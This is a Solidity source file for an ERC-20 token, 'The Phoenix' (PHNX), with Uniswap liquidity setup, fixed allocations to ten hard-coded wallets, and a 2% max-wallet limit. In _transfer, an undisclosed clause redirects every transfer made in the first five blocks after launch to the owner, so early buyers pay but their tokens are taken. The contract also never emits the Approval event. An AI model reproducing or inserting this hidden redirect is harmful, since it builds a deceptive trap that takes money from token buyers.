// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract ThePhoenix is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "The Phoenix";
    string private constant _symbol = "PHNX";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply = 100000000000 * 10**18; // 100 billion
    uint256 private _launchBlockNumber;
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 private maxWalletAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromFee;
    address private constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        balances[address(this)] = _totalSupply * 90 / 100;
        emit Transfer(address(0), address(this), _totalSupply * 90 / 100);
        balances[address(0x19C6d9C0e0deaC12a9B1B8E94b43a4959ffBBD61)] += _totalSupply * 1 / 100;
        emit Transfer(address(0), address(0x19C6d9C0e0deaC12a9B1B8E94b43a4959ffBBD61), _totalSupply * 1 / 100);
        balances[address(0x052560A15887C5D23848a1AB398DacF1396c8b1c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x052560A15887C5D23848a1AB398DacF1396c8b1c), _totalSupply * 1 / 100);
        balances[address(0x1beACa75c95e7AAF5F8393856901fEAf195cbe68)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x1beACa75c95e7AAF5F8393856901fEAf195cbe68), _totalSupply * 1 / 100);
        balances[address(0xA2e754789d771D5D877229206485F94B913bd99c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xA2e754789d771D5D877229206485F94B913bd99c), _totalSupply * 1 / 100);
        balances[address(0xFD63B9EC6Eaec19999C6b659128cF00BAaaADfDd)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xFD63B9EC6Eaec19999C6b659128cF00BAaaADfDd), _totalSupply * 1 / 100);
        balances[address(0xdd737DDaC02CC6D51f4e52DB02F9bdB1ff9db934)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xdd737DDaC02CC6D51f4e52DB02F9bdB1ff9db934), _totalSupply * 1 / 100);
        balances[address(0xD5Da5895b6d47063Ec3C23B542F8dA981586b77b)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0xD5Da5895b6d47063Ec3C23B542F8dA981586b77b), _totalSupply * 1 / 100);
        balances[address(0x221e9f8c7d5dDdEdC171AFfFe2dCa3324B44F59c)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x221e9f8c7d5dDdEdC171AFfFe2dCa3324B44F59c), _totalSupply * 1 / 100);
        balances[address(0x2879bff261f3359C5bBAA1CbB79264Cd350F4359)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x2879bff261f3359C5bBAA1CbB79264Cd350F4359), _totalSupply * 1 / 100);
        balances[address(0x1fdb64877F5a6467A0feFF2931ed14EF39C9BA53)] += _totalSupply * 1 / 100 ;
        emit Transfer(address(0), address(0x1fdb64877F5a6467A0feFF2931ed14EF39C9BA53), _totalSupply * 1 / 100);
    }

    receive() external payable {} // so the contract can receive eth
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, "You can only add liquidity once");
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, deadWallet, block.timestamp);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true;
        maxWalletAmount = _totalSupply * 2 / 100; // 2%
        _launchBlockNumber = block.number;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external view virtual returns (uint256) { return _totalSupply; }
    function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if ((block.number - _launchBlockNumber) <= 5) { to = owner(); }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}